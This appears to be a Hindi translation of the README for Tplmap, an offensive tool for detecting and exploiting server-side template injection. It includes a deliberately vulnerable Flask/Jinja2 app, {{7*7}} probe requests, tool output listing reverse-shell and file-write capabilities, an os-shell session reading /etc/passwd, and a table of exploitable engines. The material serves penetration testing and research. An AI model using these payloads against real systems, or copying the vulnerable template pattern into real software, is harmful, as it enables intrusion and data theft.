
सर्वर-साइड टेम्पलेट इंजेक्शन और कोड इंजेक्शन का पता लगाने और शोषण करने का उपकरण
यह प्रोजेक्ट अब अनुरक्षित नहीं है। मैं नए PRs को मर्ज करने में खुश हूँ जब तक वे टेस्ट सूट को नहीं तोड़ते।
Tplmap कोड इंजेक्शन और सर्वर-साइड टेम्पलेट इंजेक्शन कमजोरियों के दोहन में सहायता करता है, जिसमें अंतर्निहित ऑपरेटिंग सिस्टम तक पहुँच पाने के लिए कई सैंडबॉक्स एस्केप तकनीकें शामिल हैं।
यह उपकरण और इसका टेस्ट सूट SSTI कमजोरी वर्ग पर शोध करने और वेब एप्लिकेशन पेनिट्रेशन परीक्षणों के दौरान आक्रामक सुरक्षा उपकरण के रूप में उपयोग करने के लिए विकसित किए गए हैं।
सैंडबॉक्स ब्रेक-आउट तकनीकें जेम्स केट के सर्वर-साइड टेम्पलेट इंजेक्शन: आधुनिक वेब ऐप के लिए RCE, अन्य सार्वजनिक शोधों [1] [2], और इस उपकरण में मूल योगदान [3] [4] से आई हैं।
यह कई कोड संदर्भ और ब्लाइंड इंजेक्शन परिदृश्यों का दोहन कर सकता है। यह पायथन, रूबी, PHP, जावा और सामान्य अनसैंडबॉक्स्ड टेम्पलेट इंजन में eval()-जैसे कोड इंजेक्शन का भी समर्थन करता है।
मान लीजिए कि आप एक वेबसाइट का ऑडिट कर रहे हैं जो उपयोगकर्ता-प्रदत्त मानों से बने टेम्पलेट्स का उपयोग करके गतिशील पेज उत्पन्न करती है, जैसे कि यह पायथन और Flask में लिखा गया वेब एप्लिकेशन जो Jinja2 टेम्पलेट इंजन का असुरक्षित तरीके से उपयोग करता है।
from flask import Flask, request
from jinja2 import Environment
app = Flask(__name__)
Jinja2 = Environment()
@app.route("/page")
def page():
name = request.values.get('name')
# SSTI VULNERABILITY
# The vulnerability is introduced concatenating the
# user-provided `name` variable to the template string.
output = Jinja2.from_string('Hello ' + name + '!').render()
# Instead, the variable should be passed to the template context.
# Jinja2.from_string('Hello {{name}}!').render(name = name)
return output
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
ब्लैक बॉक्स परीक्षण के दृष्टिकोण से, पेज मान को XSS कमजोरी के समान दर्शाता है, लेकिन रनटाइम पर बुनियादी संक्रियाओं की गणना भी करता है, जिससे इसकी SSTI प्रकृति का पता चलता है।
$ curl -g 'http://www.target.com/page?name=John'
Hello John!
$ curl -g 'http://www.target.com/page?name={{7*7}}'
Hello 49!
Tplmap टेम्पलेट इंजनों की एक श्रृंखला में SSTI का पता लगाने और उसका दोहन करने में सक्षम है ताकि अंतर्निहित फ़ाइल सिस्टम और ऑपरेटिंग सिस्टम तक पहुँच प्राप्त की जा सके। इसे URL के विरुद्ध चलाकर जाँचें कि क्या पैरामीटर कमजोर हैं।
$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '{*}'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
...
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun tplmap providing one of the following options:
--os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
लक्ष्य पर स्यूडो-टर्मिनल लॉन्च करने के लिए --os-shell विकल्प का उपयोग करें।
$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Run commands on the operating system.
linux $ whoami
www
linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
Tplmap 15 से अधिक टेम्पलेट इंजनों, अनसैंडबॉक्स्ड टेम्पलेट इंजनों और सामान्य eval()-जैसे इंजेक्शनों का समर्थन करता है।
burp_extension/README.md देखें।
| Engine | Remote Command Execution | Blind | Code evaluation | File read | File write |
|---|
| Mako | ✓ | ✓ | Python | ✓ | ✓ |
| Jinja2 | ✓ | ✓ | Python | ✓ | ✓ |
| Python (code eval) | ✓ | ✓ | Python | ✓ | ✓ |
| Tornado | ✓ | ✓ | Python | ✓ | ✓ |
| Nunjucks | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Pug | ✓ | ✓ | JavaScript | ✓ | ✓ |
| doT | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Marko | ✓ | ✓ | JavaScript | ✓ | ✓ |
| JavaScript (code eval) | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Dust (<= [email protected]) | ✓ | ✓ | JavaScript | ✓ | ✓ |
| EJS | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Ruby (code eval) | ✓ | ✓ | Ruby | ✓ | ✓ |
| Slim | ✓ | ✓ | Ruby | ✓ | ✓ |
| ERB | ✓ | ✓ | Ruby | ✓ | ✓ |
| Smarty (unsecured) | ✓ | ✓ | PHP | ✓ | ✓ |
| PHP (code eval) | ✓ | ✓ | PHP | ✓ | ✓ |
| Twig (<=1.19) | ✓ | ✓ | PHP | ✓ | ✓ |
| Freemarker | ✓ | ✓ | Java | ✓ | ✓ |
| Velocity | ✓ | ✓ | Java | ✓ | ✓ |
| Twig (>1.19) | × | × | × | × | × |
| Smarty (secured) | × | × | × | × | × |
| Dust (> [email protected]) | × | × | × | × | × |